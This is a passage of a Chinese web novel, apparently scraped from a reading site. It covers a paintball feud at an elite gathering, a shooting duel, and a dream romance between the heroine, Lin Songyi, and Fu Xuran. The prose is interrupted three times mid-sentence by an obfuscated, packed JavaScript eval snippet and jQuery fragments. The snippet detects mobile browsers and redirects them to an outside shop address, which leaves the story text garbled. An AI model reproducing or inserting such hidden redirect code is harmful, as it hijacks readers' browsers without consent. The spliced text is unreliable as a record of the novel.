林颂宜心领神会,木着脸点头承认:“刚才走小路偏离了主道,找了半天都没找到路,就想着往前走一段。”她的语气很平稳,透着股淡淡的人机感,外人只会以为她是真的错了道。
“那你往前直走,我们刚才就是从那上来的,有个小坡,你往下走就行。”有人先开了口,其他人接到信号,红队里的那个女生也跟着向林颂宜示好。
“好,谢谢你。”林颂宜露出个笑,冲着说话的女生道谢后,又转头看向寸头男,“刚才是意外,我也是碰巧打中的,加时赛什么的,可以不比吗?”
眼前的女生,容貌并不出挑,但整个人看起来很是沉静内敛,说话的语气也是诚意满满,双方都没有要节外生枝的打算,章唯自是应好。
眼见彼此达成共识,林颂宜冲几人点头示意后,径直错身往他们刚才过来的方向走去。
章唯敢自作主张应下自是因为清楚,顾澜封犯浑归犯浑,一向是不和女生计较的。
刚才估计也真的只是意外。
结果他这一颗心还没彻底放回肚子里,就看见顾澜封抬手对准林颂宜的方向,眼看就要开木仓。
他这一动作太过突然,吓得边上的人惊叫出声,章唯更是下意识整个人扑向顾澜封。
“澜封!”
两股力量对冲,顾澜封射出的颜料弹落在了离林颂宜脚边十公分的位置。
林颂宜:“!”
刚才仓促间林颂宜只来得及往边上挪开一步,但凡章唯不扑那一下,这颗颜料弹就要落到林颂宜后背上。
毕竟是道具,倒也不至于会真的让人受伤,但绝对会疼上一阵。
游戏规则第三条,同时击中标的物的两人,只要一方打中另一方身上的致命标注区,加时赛就可以取消。
如果起初只是猜测腹诽,经过刚才那一遭,林颂宜心下已经百分百确定,这人就是有病!
绝对还是大病!
“你没事吧?”见林颂宜站着不动,对面的那个女生快速跑过来安抚她。
顾澜封刚才的行为已经称得上恶劣,但熟识的也都知道,宁可吃点亏,也不好叫他记恨上真得罪了他。
被顾澜封惦记的人,不一定伤筋动骨,但那人总有办法叫对方有苦叫不出。
有时候,心理折磨比伤筋动骨可怕多了。
肩头被人轻拍两下,林颂宜做出才刚回过神的样子,见她眼眶有些发红,对面女生的表情也有些急,冲着章唯喊道:“你们先走吧,我陪着她下去。”
后者自然满口答应。
林颂宜倒不至于因为这点事被吓哭,眼睛泛红一半是因为气得,一半是她装的。
必要的时候,示弱能减少许多不必要的冲突。
“有点被吓到了。”林颂宜冲女生笑了笑,落到对方眼里,她这就是在强颜欢笑,她的语气比之前更轻了些,听起来有些飘忽,任谁看了都不会觉得她真没事。
“我没事,不用麻烦,我自己下去就好。”
林颂宜表现的越是善解人意,对面女生就越不好意思,虽然这事本质上和她没关系,但立场对立,己方做的太过分,她也很难不感到抱歉。
凡事适可而止,见人还是不太放心的样子,林颂宜再次拒绝:“真的没事,我先走了。”
目送林颂宜走远,顾澜封一行人也准备离开。
章唯算是知道了,顾澜封前一阵被关在家里反省,结果是把这脾气反省的越发邪性了。
“人家女孩子也不是故意的,你就算气不顺,欺负她一个小女生做什么?”虽然章唯也不觉得自己是什么很高尚的人,但无缘无故去欺负一个女生,多少还是不地道,这么想着,话就顺着嘴说了出来。
顾澜封也不应他,只淡淡扫他一眼,径直往前走去,随后连开两枪,精准击中蓝队两个标的物。
身后三人:“……”
不是……这都什么中二行为?
***
底下李清越一行人,在接连听到两声提示后,心下的紧迫感又重几分,忙不迭又往前冲了一段路。
远远地就看到林颂宜站在前面等着。
一行人重新汇合,李清越直觉哪里不对,用眼神询问林颂宜,后者微微摇头,李清越也就假装无事发生。
接下来的一段路,林颂宜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026388|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并不怎么出手,只负责压着不让队里的男生得手。
一旦发现队里的女生抢不到标的物,林颂宜就会找机会快速出击,争取抢先击中标的物。
几个女生配合得十分默契,男生们被压的近乎没有还手之力,奈何技不如人,又不可能真舍下脸和女生吵。
一次被抢众人生气,两次被抢怒意翻腾,再次被抢,众男生已然没了脾气。
没办法,是个人都慕强,林颂宜起手就正中把心,次数多了,众男生倒是升起些钦佩。
到了这会子,今天这场队内抗衡之争的始作俑者,终于后知后觉回过味,向恒意识到是自己先前口无遮拦惹的祸。
没了最开始的气性,加上往后各家保不准会有业务往来,向恒充分发挥自己能屈能伸的做派,真心实意夸赞几个女生。
“服了,姐们儿几个是真厉害。”说着,还夸张地竖起拇指,给队里的女生点了个赞。
蓝队的几个女生见他示弱,这才觉得舒服了,大家相互笑一场,这事儿就算翻篇。
蓝队这边因为林颂宜几乎发泄似的一通操作,稳稳抢占先机。
算着标的物得分已经满足三分之二的要求,几人放弃寻找剩余标的物的计划,只一个劲往对方营地冲刺,以期先一步拔了对面的旗帜。
队内众人已然和解,一笑泯恩仇之后,徐心荟和温若甯也发现了刚才的不对劲,由着陈松野带领男生去拔旗,几个女生慢悠悠走在后头说着话。
刚才的事情也不是什么不能说的秘密,见她们好奇,林颂宜就大致说了一下事情经过。
听完全部,李清越的火气一下就上来了。
那几个人到底什么毛病,莫名其妙欺负一个落单的女生。
徐心荟和温若甯听了也是一脸无语,但相较于李清越的不忿,她们两个则是更担心后续林颂宜会有麻烦。
同一个圈子里的人,也并不是都相互熟知,平时各自为营,几个牵头的人也大都各位为王,不是玩咖几乎很难重叠所有圈子。
因此,李清越不知道顾澜封也不奇怪。
温若甯也不甚了解,只知道个大概,但还是开口提醒林颂宜:“晚些回到营地,你就跟在我们身边,明天一早找个由头先走吧,惹不起咱们躲得起。”
徐心荟因为家里和顾家有些交情,知道的会比旁人更多一些,但她也不好和盘托出,听到温若甯的提醒,也十分赞同。
李清越见两人这个做派,心里越发好奇。
徐心荟见大家都看着自己,便挑着能说的大致和几人分享了一下。
直听得李清越惊叹连连。
李家虽然也算势大,平时接触的人也都身份不差,李清越也听过见过不少二代三代的混账事,但还真没听过哪家小辈能浑成顾澜封这样。
“就因为一句话,他就真把人腿打断了?”
见李清越满脸震撼,徐心荟点头确认:“要不是亲眼看见,我也不能信,有人能下手这么狠。”
“他俩在断腿之前,真的没点别的恩怨吗?”温若甯听完徐心荟的描述,心下对林颂宜的担忧又深一层。
一句话“封哥不太行。”,就直接把人的腿打断,那按照林颂宜刚才的自述,她两条腿也不够姓顾的疯啊!
对上三张忧心忡忡的脸,林颂宜:“……”
7. 第7章
“倒也……不至于要到打断腿的程度吧?”林颂宜心下揣度着刚才获知的信息,也有些不确定。
“至于!很至于!顾澜封这个人,虽然疯了点,但他有副好皮囊啊!家世又摆在那,捧着他的人一箩筐都装不完,都用不上他自己出手,但凡稍微示意一下,有的是人想替他卖力。”徐心荟说这话的时候,脸上的神情很认真,生怕林颂宜自己不当回事。
有的细节别人能说,徐家的人却不能开这个口,万一传到顾家人耳朵里,搞不好会连累家里,所以当下她也只能尽力劝林颂宜自己小心。
“一会儿我找涛哥安排人先送你回去吧?想玩什么时候都可以,往后咱们随时都可以约时间,这尊瘟神能不招惹就先躲着走。”君子不立危墙之下,温若甯觉得还是先离开是非之地为好。
“颂颂跟着我,今天来这的车都有数,贸然变动再惹出闲话,别人只会更恼怒。”李清越一锤定音,她自己的人得自己护着。
林颂宜虽然自己没有背景,可李家也不是吃素的,无缘无故就要动李家的人,面上属实说不过去。
虽说顾澜封这个人记仇的很,但以林颂宜的身份,往后也不太可能和对方再有交集,只要避开这一场就好了。
四人聊过一阵逐渐放下心来,气氛重新变得活跃,话题一转,又都夸起林颂宜的木仓法。
听别人夸奖林颂宜,李清越只觉得自己超有面子。
李清越自己学东西,经常是三分钟热度,林颂宜和她就完全不同,既好学又肯学,而且还有毅力坚持学。
这就导致很多时候,林颂宜只是陪读顺带练一练,最终却能学得比李清越好。
要说由此对林颂宜产生嫉妒讨厌这类情绪,李清越是真的没有,相反,林颂宜的那股劲头,常常能激发出李清越的内驱力。
两个人偶尔相互卷一卷还挺有意思。
当初李家做背调看中的,也正是林颂宜身上的这股韧劲。
自家孩子身边跟着这样一个人,即便不能起到激励作用,也不至于带坏自己家的孩子。
事实证明,李家的选择是对的,林颂宜的存在,在一定程度上,也确实对李清越起到了警示作用。
不仅如此,林颂宜也相当于是李清越亲手扶起来的人,对于李清越而言,林颂宜越成功,就证明她李清越当初是慧眼识珠。
这种亲手培养出一棵树的成就感,是世俗物质享受无法轻易超越的。
李清越似乎是越想越高兴,把自己和林颂宜当初结识的经历,和徐、温二人做了分享。
边上两人听完林颂宜过往的那些经历,心下只觉佩服。
等回过味来又有些心疼林颂宜的遭遇。
女孩子的心,真的是很温暖柔软的存在。
听到林颂宜大学最窘迫的时候,每天只靠着三个馒头过活,一向以品鉴美食为享受的温若甯,情绪上头难过的有些想哭。
一个人在身体代谢最好的年岁,无法尽情体验味觉享受,这是一种往后很难再被填补的遗憾。
繁重的学业,拮据的生活,枯燥无味的三餐。
温若甯完全无法想象,假使是自己在那样的境遇里,会如何坚持下去。
原先徐、温俩人对林颂宜只是寻常,从她表现出超凡的射击水平后,两人就已经有些佩服她了,再听到对方那些年的遭遇,徐文荟和温若甯很难不怜爱她。
“也没有你们想的那么惨,大学那会儿有奖学金,学校也有定向补贴,啃馒头过活只是个意外。”林颂宜带着笑和她两解释原委。
那次是因为,林颂宜在借用舍友电脑赶作业的时候,太过疲累不小心打翻水杯,导致电脑主板被损毁。
虽然舍友并没有要求林颂宜赔偿,但林颂宜自己心里过意不去,在电脑价格折旧的基础上,又自己加了点钱,给舍友换了台新电脑。
这才啃了半个月的馒头。
并不是谁弱就是谁有理,舍友不追究,那是她看在同学情分上,可这不能成为林颂宜占便宜的理由。
尽管林颂宜解释了很多,徐、温二人却都一致默认林颂宜以前过得很惨。
可即便是那样悲惨的境遇,也没能磨灭她的心性,两人现在是真的佩服林颂宜。
林颂宜只能尽数接下二人的关切,抽空转头看向李清越,见后者冲她笑得得意,林颂宜也不好再说什么。
她并不介意李清越当众袒露自己的过往,一来,那些过往并不糟烂无需自卑,二来,李清越这么做也是为她好,经过这一遭谈话,偏向林颂宜的人就不只李清越一个了。
等到队里几个男生成功拔得旗帜返回汇合,几个女生已经等了有一会儿。
累了一场,几人都不打算再走着回去,径直停留在原地等着车子来接应。
***
人在倒霉的时候,喝凉水都塞牙缝。
林颂宜此刻对这句话,有了非常透彻的理解。
蓝队一行人分坐两辆接驳车回营地,男生那辆车打头阵,女生所在的那辆车靠后,隔着一段距离,林颂宜看到前方营地正中的靶场上,两队人正在对峙,红蓝两色泾渭分明。
搞得跟摆龙门阵似的。
车子刚挺稳,就听到红队那边有人出声叫嚷:“陈松野!等你们半天了!怎么这么慢?”
“滚滚滚!旗都被我们拔了,回的慢点怎么了?”陈松野冲那人笑道,先行下车快步走到向恒边上小声问:“怎么个事?”
“你不知道?”
“……我该知道?”
向恒简单和陈松野说了下经过,具体的他也不甚清楚,刚才一回到营地,就得知还有一场加时赛。
原来是两队标的物得分持平,虽然蓝队抢先两分钟拔下对手旗帜,相当于比赛中领先了2分胜出,但因为中间有个无效标的物,所以还有一场加时赛。
一共三局,一局一分,假使红队在加时赛胜出三局,那这一场比赛就算红队最终胜出。
这规则的制定就跟闹着玩儿似的,一般也没人会如此较真,没成想今天就遇上了这么一位。
李清越将手搭在林颂宜肩上,示意她安心,随后一行人陆续下车走向人群。
林颂宜这边,原本想着对方已经吓过她一次,不至于再提加时赛的事,事实证明,她还是高看了顾澜封,有的人长得人模狗样,实际内心十分丑陋阴暗。
躲不掉,那就不躲了。
林颂宜几人走过来的时候,人堆默契给她让出了一条道。
顾澜封倚靠在越野车旁,垂着头也不知道在想什么,黑衣黑裤,整个人瞧着拒人于千里之外。
林颂宜的角度看过去,能看到对方轮廓优越的侧脸,男人身姿颀长,姿态慵懒地立在那,周身透着股不驯,但她对此无法产生丝毫欣赏的心情。
似有所觉,顾澜封抬头,正对上林颂宜平静无波的双眼。
“怎么玩?”单刀直入,和他的行事一样,突兀霸道。
“我不太懂这些。”林颂宜的视线在四周众人身上逡巡一圈,“看大家怎么说吧。”
无人出声,顾澜封似也不想浪费时间:“移动靶?”
“行。”
最开始听徐心荟的描述,林颂宜还真的担心过自己的境遇,到这会儿她已经完全冷静下来。
她又不想巴结顾家,完全没必要顾忌太多。
今天这事说破天也不算大事,无非就是顾澜封觉得气不顺,一场加时赛,即便输得再难看又如何?过了今天,这些人里的相当一部分,这辈子都不会再有联系。
虽然李清越经常开玩笑说她像个人机,林颂宜却觉得自己骨子里是带着乐观天性的,只是表现的不明显,一旦真的遇上什么事,总能快速自我分析逻辑自洽。
靶场工作人员很快竖起移动靶,众人围成一圈,有更多的视线落到林颂宜身上。
林颂宜这会儿头发有些凌乱,身上的队服也沾上不少脏污,加上素净的一张脸,实在算不得出挑,但她本人对此浑不在意。
在场不少人,心下其实对这个局面都有些不解,他们实在想不出,场上那个一切都很普通的女生,怎么会招惹到顾澜封。
瞧着也不像是个胆大的。
明眼人都知道,这场加时赛透着无厘头。
探究半晌,最终也只能把这一切,归到顾澜封脾气喜怒无常这个原因。
林颂宜和顾澜封两人并肩站在靶场中心,移动靶在两人眼前不断移动,顾澜封也没什么女士优先的风度,抬手径直出击。
顾澜封出木仓的速度很稳,虽不是绝佳的水准,身形手势都很标准,明显练过。
十声响动后,工作人员很快报出得分。
4个十环,5个九环,1个七环。
男人面上不显,林颂宜也看不出他发挥的好不好,心下自我评估一番,决定使出全力。
初夏时节,风抚过发梢已经带上少许温度,缱绻清风绕过她修长的脖颈,鼓噪的血液归于平静,周遭一时无人出声,调整呼吸,林颂宜上前一步站定位置,抬手沉肩,集中注意力,三点一线,食指扣动扳机精准出击。
同样是十下响动。
5个十环,2个九环,3个八环。
平局。
林颂宜缓缓取下耳麦和眼罩,面色平静依旧。
顾澜封在这一刻,终于明白自己为什么看不惯这个人。
太平静了。
这很奇怪。
看似平平无奇的一个人,表面谦让和善,瞧着就不经吓,实际上目空一切,言行能屈能伸,演什么像什么,真对上比自己强势的,又冷静的很。
装得太好,好到让人想扒开她的伪装,瞧瞧里头到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026389|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底是什么模样。
无视那道探究的视线,林颂宜自顾活动着肩膀放松肩颈,有段时间没练手,一时有些不适应后坐力。
心下烦躁,知道那人未必满意,林颂宜抬头看向顾澜封,问他:“怎么说?”
“对狙,敢吗?”
林颂宜哑然,认认真真打量对方三秒,得出结论。
神经病。
她果断回答:“不敢。”
“道具木仓,玩吗?”顾澜封说这话的时候,面上甚至带上了点笑意。
围观的人听不清两人的对话,见一轮比赛后,顾澜封竟然能和林颂宜有说有笑,不少人面露古怪。
下一秒,就看到林颂宜举起道具木仓,对准顾澜封心脏来了一木仓。
众人来不及反应,颜料已经在顾澜封胸口炸开一朵绚丽红花。
离得近,衣料也薄得很,颜料弹的冲击效果被放大,内伤不至于,淤青是肯定的。
三局两胜,一平局,一胜局,红队赢不了了。
顾澜封冷不丁挨了这一下,吃痛俯身。
“兵不厌诈,承让。”撂下这一句,林颂宜快步离开。
面对不按常理出招的人,林颂宜想要快刀斩乱麻,也只能兵行险招。
她没错过顾澜封那道好奇的目光。
一个人对另一个目露好奇,也就意味着对那人有了探索欲,适时做出一些略显无脑的事,反而能消减这种在意。
对于不再在意的人,顾澜封这种人是绝对不会继续纠缠的。
至于自己会不会因为猜测失误,冲动行事最终招来更大的报复。
林颂宜选择直接摆烂。
随便吧,反正她当时也想不出更好的解法。
***
“林颂宜!”
李清越冲过来拉住她,面色有些不好看:“你要吓死我?怎么就动手了?”
摸到她发凉的手,李清越带着人往房车走去:“怎么回事?现在知道后怕了?”这还是她第一次见林颂宜冲动行事。
“那个神人要和我对狙。”
“……对狙?”
等两人上了车,林颂宜将刚才的事尽数告知,关于“好奇心”的那段分析,她没说。
李清越:“……他有病吧?”
可不是吗?林颂宜开口:“随便吧,大不了我也断条腿,反正又不能真弄死我。”
李清越:“……”
好像是这么回事。
既然是一团乱麻,那就干脆乱刀劈开,越纠缠只会越麻烦。
不多时,陈松野也上了车,带来的是个好消息。
“我和涛哥说了这事,涛哥说付绪然和顾澜封熟,答应了会帮忙说和,不是什么大事,你两也别太担心。”
李清越听他这么一说,知道问题不大,整个人又高兴起来。
陈松野没说的是,顾家家教甚严,前段时间顾澜封刚被家里罚过,这才刚能出来走动,本身也不大可能因为这点事,又闹出动静。
加上陈松野也默认,等林颂宜回到国内,与他和李清越的交集都不一定有多少,更别说其他人。
没想到事情转机来的如此之快,林颂宜冲陈松野感激道:“谢谢。”
陈松野和李清越算是青梅竹马,但两个人能成事,中间多亏了林颂宜两头忙。
这么多年相处下来,虽然林颂宜和李家还有一层雇佣关系,三人私下也算是交情不错的朋友。
林颂宜为人处世很有分寸,今天这出也不是她有意为之,陈松野即便是不看在李清越的面子上,也会去帮着解决。
峰回路转,事情得到解决,林颂宜心下暗自思忖一番,觉得自己继续留下来,搞不好惹了眼会给李清越找麻烦,她这么想也就直接和李清越说了。
“那你就先回去。”李清越没什么意见,也觉得林颂宜先离开比较好,“过会儿找靶场安排辆车送你。”
两人说定,林颂宜起身去卫生间,脱下蓝色队服简单梳洗,瞧着整个人清爽不少,她才觉得舒服一些。
林颂宜推门走出来的瞬间,碰巧和付绪然打了个照面,两人不熟,林颂宜愣怔片刻,冲对方露出社交微笑,礼貌点头示意后很快错开目光。
“颂颂,付少要回市区,正好捎你一程。”
刚才付绪然上车拿东西,和陈松野闲谈几句,得知他稍后准备回市区,李清越立刻就想到请他捎林颂宜回去。
这样一来,林颂宜的行程安全有了保障,别人见她和付绪然一块进出,也会认为两人有些交情,往后哪怕不小心遇上,明面上也不会太为难她。
接收到李清越的好意,林颂宜心下有些感动,笑容也真挚许多:“谢谢付少。”
难为情什么的,不存在的,该攀的人情就得攀。
“你加我好友,晚点我叫你。”
8. 第8章
林颂宜心下有些惊讶,她很快反应过来,拿出手机:“我扫你。”
两人刚加上好友,司机就过来告知车辆已经到位。
林颂宜的行李上午那会儿没打开,原样拎包就能走,倒也不耽误时间。
亦步亦趋跟在付绪然身后一步远的距离,临了,林颂宜才开始发愁,她和付绪然并不熟,一会儿到底该坐后排还是副驾?
好在现实没给她做选择题的机会,看到两人过来,从副驾下来一位体型高大的男人,应该是付绪然随行配备的安保人员。
保镖大哥先替付绪然开得车门,确认付绪然落座,转身绕过车头走到另一边请林颂宜上车。
付绪然似乎很忙,一上车就开始摆弄手里的平板,林颂宜自觉避开,并没有去看屏幕上显示的内容。
“水在这,有需要你自己拿。”付绪然的眼睛没有离开平板,只伸手在车载冰箱的位置点了一下,示意林颂宜自便。
“好,谢谢。”
车内很安静,林颂宜干脆学着付绪然,拉出小桌子掏出电脑,对论文批注进行最后的修改。
车内环境静谧,林颂宜很容易就沉下心开始认真做事,将论文重新梳理了一遍,再抬头时间已不知过去多久,林颂宜小幅度轻轻转动脖子,尽量不打扰到旁边的人。
“你学得也是基因工程?”
“也?啊……对。”前头长久沉浸在自己的思绪里,付绪然突然搭话,林颂宜一时有些卡壳。
“本科也是吗?”付绪然拧松盖子,将手里的水递给林颂宜,“我有个朋友和你同专业,今年准备回国发展,有机会介绍你们认识。”
惊讶于付绪然的热心肠,他们这个圈层的人,开口主动介绍人脉,林颂宜简直要怀疑自己是没睡醒才会幻听。
估摸着他是忙完随口一提,反正林颂宜也不知道该说点什么,顺着付绪然的问题回答就行。
“谢谢。”林颂宜接过矿泉水,瓶身有些凉,她没有马上喝,握着瓶子继续道,“本科是临床,出来后才换的方向。”至于换专业的原因,林颂宜没说。
“回国后什么打算?”
“进实验室。”
“挺好。”
林颂宜笑着点头应是,算是默认付绪然的说法。
“陈松野和我说了今天的事,顾澜封不会找你麻烦,你放心。”
林颂宜这回的笑容真心实意许多:“谢谢付少,今天也怪我冲动,不知道有没有伤到人。”
付绪然回完消息,侧过头看向她。
车内光线柔和,暖光落到林颂宜身上,她整个人似被笼上一层毛茸茸的外壳,温和无害,完全看不出剑指他人的气势。
“皮糙肉厚,他应得的,不用理他。”
这话林颂宜不能接,看样子他们俩人关系确实不错,得了付绪然的准话,林颂宜心下大定。
约莫四十分钟后,车子停在林颂宜入住的酒店门口,两人道别,林颂宜目送对方离开直到看不见车尾,这才转身进入旋转大门。
洗漱过后,林颂宜重新躺到床上,她只觉得这一天心累的很,放空大脑后很快睡去。
***
林颂宜这一觉睡得很沉,耳边时不时能听到一些嘈杂声,但睡梦中意识昏沉,听得并不真切,直到肩膀被人拍了一下,才猛地从昏睡中挣脱出来。
“醒啦?走吧,开会去。”
“开会”这两个字,堪比根植于灵魂深处的行动指令。
在肌肉记忆的操纵下,肢体先于大脑做出反应,林颂宜自然且快速地拿起桌面上的文件夹跟着往外走。
叫醒林颂宜的人叫赵钦霜,是她关系很要好的朋友。
俩人从大学起就是舍友,后来机缘巧合进到同一家医院实习,现在既是同事也是私交甚笃的挚友。
刚才这几步路的时间,林颂宜已经解锁了新一轮的梦境提示。
现在,她是刚上完三天夜班的林医生。
“昨晚很忙吗?”赵钦霜将一杯豆浆递到林颂宜面前,“先凑合着垫巴一下。”
嘴巴和手的反应比脑子快,林颂宜接过豆浆喝了一口,混合着各种豆类的醇厚香气在嘴里同时迸发,甜滋滋的,舒服得她眯起了眼睛。
“后半夜来了俩急诊,天蒙亮才抽空眯了会儿。”林颂宜抬手,比了个就一点点的的手势,着重强调:“就这么一会儿。”
本来就是一句玩笑,眼见赵钦霜眼里升起愧色,林颂宜忙安慰她:“哎呀,多大点事,谁还没点急事要忙,下次你帮我值班不就行了?”
这几次夜班都是林颂宜在替她,赵钦霜见林颂宜面露疲色,便道:“我家里处理的差不多了,后头三天正好能替你值班,这个假期你安心休息,等交完班就赶紧回家补觉。”
林颂宜做出一个稍显夸张的感动表情,故意掐着嗓子:“霜霜你真的太好啦~”
两人笑作一团。
说话间走到会议室的门口,里头已经有不少同事。
“林医生,赵医生,早啊。”
“早。”
“早上好。”
……
***
做梦就是好啊!都当医生了,也就在梦里能实现假期自由。
林颂宜心里美滋滋地感慨今天是个好梦,冷不丁被赵钦霜用手肘怼了一下。
她转过头听到对方悄声提醒自己:“主任点你呢。”
察觉到有视线落在自己身上,林颂宜下意识坐直身体,就这么直直对上一张严肃的冷脸。
林颂宜:“……”
要命。
梦里走个神都能被抓包?
凭借多年应对随机点名的经验,林颂宜迅速收敛心神,她看向手里的查房记录,脑中快速过完一遍,开始汇报相关事项。
“2床患者目前是术后第三天,当前生命体征平稳,腹部创口红肿正在逐步消退,压痛减轻,创口无出血迹象,24小时引流量也在逐步减少,进一步的用药方案,需要等下午详细报告出来后再行调整……”
直至汇报完管辖床位的详细情况,林颂宜才再次抬头看向前方,等待对方的反应。
“好。”主任在表格上勾画几下,目光始终没有离开手里的交班报告,随即又示意下一个人继续。
晨会交班很快结束,众人陆续离开会议室,准备开启新一天的忙碌。
连着三天连轴转,这会儿终于轮到林颂宜下班,下班既放假!
开门,上车,关门,点火,一气呵成。
车子很快滑出停车场汇入主干道。
“叮”的一声,电梯门被打开。
林颂宜从中走出,在房门口站定片刻,抬手输入指纹。
“嘀”的一声,防盗门应声而开。
听到动静,门内的男人转身,与林颂宜四目相对。
***
视野开阔的落地窗前,立着一道颀长身影,宽肩窄腰背脊挺括,上半身未着寸缕,那画面端地是一副男模出浴图。
林颂宜进家门的时候,男人正背对着门口方向接听电话,听到门口的声响,他转
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026390|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身看向玄关处。
剑眉星目,挺鼻薄唇。
是付绪然。
也是她的…男朋友。
付绪然的眼睛里,此刻盛满清浅笑意,眼底的温柔欣喜冲淡了眉宇间的桀骜,也消融了他身上的那股疏离感。
溶溶晨光落到他身上泛起一层朦胧的光晕,晃得看客不知该把视线往哪放。
“先这样,其他的等我通知。”付绪然快速结束通话,提步朝林颂宜走来。
这人行动间步态闲适身姿挺拔,丝毫不为自己的装束而感到不自在,短短几步路,被他走得如同超模秀场巡台。
日头高升,阳光洒进屋内,光线变得愈加明亮,林颂宜的视线,不自觉被他发尾残留的那抹水光吸引。
伴着付绪然的动作,发尾的水珠颤悠悠晃动几下,顺势落到他肩上,又一路滚动向下直至泅入他系在腰间的那片雪白。
随着付绪然的靠近,那抹弥漫在鼻尖的香气变得愈发浓郁。
是林颂宜常用的那款香薰沐浴的气味。
面前落下一道暗影,林颂宜的手腕被人轻轻握住。
她这会儿的感觉有些割裂,现实里客套生疏的人,此刻却成了自己梦境的男主角。
好在有过上一次梦境的经验,林颂宜已经能够稳住心态,不至于违背设定让梦境发生重置。
被付绪然掌心覆盖的那块皮肤,温度持续升高,触觉变得分外敏锐。
自小臂至臂膀似被细密的电流窜过,令她莫名生出点紧张的感觉。
付绪然俯身定定看着林颂宜,温热的手掌从手腕处缓慢摩挲向下,十分自然地牵起她的手,开口的声音里隐含着一丝委屈和失落:“还是不想理我吗?”
这是他们冷战的第三天。
也是林颂宜单方面晾着付绪然的第三天。
她倒不是有意如此,实在是医院工作太累,忙得她连睡觉都顾不上,更别想抽出精力与闹别扭的男朋友掰扯。
林颂宜本想着干脆等忙完再好好谈谈,这一耽搁就出现了她单方面冷战的局面。
见林颂宜没说话,付绪然也不开口催促,只微微垂下头,将林颂宜的手托举到唇畔,高挺的鼻尖在她手背轻轻蹭了蹭,微抬眼眸就这么看着她。
那目光过分专注,好似天地万物除了眼前人再无其他可入眼。
看他这做派,林颂宜莫名联想到犬科动物,它们示好的时候好像就是这样的。
面前这只委屈巴巴的蔫巴小狗,看得林颂宜软了心肠,她解释道:“不是故意不理你,本来想着等回家再和你解释,后来连着加班就没顾上,这次是我的错,我向你道歉,好不好?”
上一秒还蔫头耷脑的人,听了这话似囚犯得到特赦,脸上顷刻重焕神采。
男人那双晶亮的黑眸注视着林颂宜,善解人意道:“这不是你的错,在我这里,你永远不需要低头道歉。”付绪然将人揽进怀里,发出一声满足的喟叹。
情绪变化如此之快,就这好哄的模样,怕是路人看了都要直呼不值钱。
轻轻柔柔的一声闷哼,勾得林颂宜的耳际又烫了几分。
“你做得对,坚持自己的原则,这并不是过错。”
林颂宜的一侧耳朵贴靠着付绪然的胸膛,对方每说一个字,都能感受到胸腔传来的轻微震颤。
“但你这几天信息不回,电话不接,我心里难受,需要多抱一会才行。”这话他说得理直气壮,丝毫不觉得向女友示弱撒娇有什么问题,“不可以拒绝我。”说完,又将人抱紧了些。
9. 第9章
怀抱力度加深,躯体间的空隙被彻底压缩,林颂宜半边侧脸被动贴上男人胸膛。
付绪然身上还残留着沐浴后的水汽,亲密相拥,潮气上涌,黏黏腻腻丝丝缕缕,绕不开挥不去,似要将两人缠得再紧一些,再密一些,最好连成一体,任凭风云际变二人自成一界,旖旎春光牵绊纠缠。
男色虽佳,但……
太紧了。
付绪然将人搂得太用力,时间一久,怀里的人呼吸开始紧促,尽管细腻平滑又紧实有弹性的胸肌,真的很适合当枕头,林颂宜还是坚定抬手。
试探着,轻轻推了一下。
没推动。
林颂宜:“……”
“喘不上气了。”她不得不闷闷出声。
耳边传来一声轻笑,声音里透着开怀,付绪然垂首,贴脸靠近:“怎么可爱成这样?”双臂力度消减,人依旧被他圈在怀里,“嗯?”
热烘烘的。
有些痒,但又说不清源头是哪里。
林颂宜本能生出退怯。
平举双臂,她将人推开一些,木着脸:“把衣服穿上,别着凉。”
付绪然:“?”
氛围破坏大王成就+1。
舒服了。
缠绵密闭的罩子被打破,空气恢复流通,林颂宜终于有机会好好欣赏室内装潢。
主体是极简的白色装修,客厅宽敞明亮,三面落地窗270度环绕,一眼望去,繁华喧嚣尽数匍匐脚下,天高云阔。
是个好天气。
“吃点东西再去休息。”换好一身家居服,付绪然重新回到客厅,从蒸箱内取出温着的餐食,一一摆到岛台上。
一桌子经典粤式茶点。
很合林颂宜的口味。
“好。”
梦里吃了又不胖,当然要尝尝。
饭前先洗手,梦里也不能忘记这个好习惯。
站在宽敞的悬浮式双人洗手台前,视线环视四周。
浴室刚被人用过,地面水渍被收拾很干净,脏衣篮里躺着一套灰白色的衣物,另有崭新的浴巾和女士家居服,很容易看出是她的尺寸,此时被挂在置物架上,大概是为了通风,新风系统依旧在运作,鼻尖能嗅到一些淡淡的熏香。
清淡悠长,是林颂宜喜欢的柑橘调果香。
